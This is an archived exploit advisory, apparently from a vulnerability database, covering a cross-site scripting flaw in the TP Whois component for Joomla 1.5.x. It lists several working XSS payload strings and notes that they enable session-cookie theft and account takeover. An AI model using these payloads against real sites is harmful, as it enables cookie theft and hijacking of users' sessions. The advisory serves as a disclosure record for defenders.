Component TP Whois for Joomla 1.5.x XSS

🗓️ 03 Dec 2009 00:00:00Reported by RootType

Component TP Whois for Joomla 1.5.x XSS vulnerability allows cookie stealin


                                                ##########################[andresg888]##########################
# Exploit Title : Component TP Whois for Joomla 1.5.x XSS [xss , cookie stealing]
# Date : 2009-12-03
# Author : andresg888
# Software Link : http://www.templateplazza.com
# Contact : andresg888[4t]gmail[dot]com
# Web: : www.ilegalintrusion.net&lt;http://www.ilegalintrusion.net&gt; &amp; www.bl4ck-p0rtal.org&lt;http://www.bl4ck-p0rtal.org&gt;
# Dork : No DoRk f0R ScRipT KiDDieS
########################################################################
# Example1: %3C/xss/*-*/style=xss:e/**/xpression(alert(andresg888))%3E
# Example2: &lt;/textarea&gt;
# Example3: &lt;body+onload=alert(401784509139)&gt;
# Example4: 
# Example4: &lt;img+src=http://www.ilegalintrusion.net/yo.gif+onload=alert(andresg888)&gt;
# Example5: 
########################################################################
# Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable
# application to fool a user in order to gather data from them. An attacker can steal the
# session cookie and take over the account.
# It is obvious that with a little of imagination malicious users can hack the site.
########################################################################
# Greetz : _84kur10_ , Brunos_50, mmrg5486, LU73K, Joshu4X, 3l_d105_4r35
# Special Thanks : all members from ilegalintrusion &amp; black-portal
##########################[andresg888]#################################

03 Dec 2009 00:00Current

7.1High risk

Vulners AI Score7.1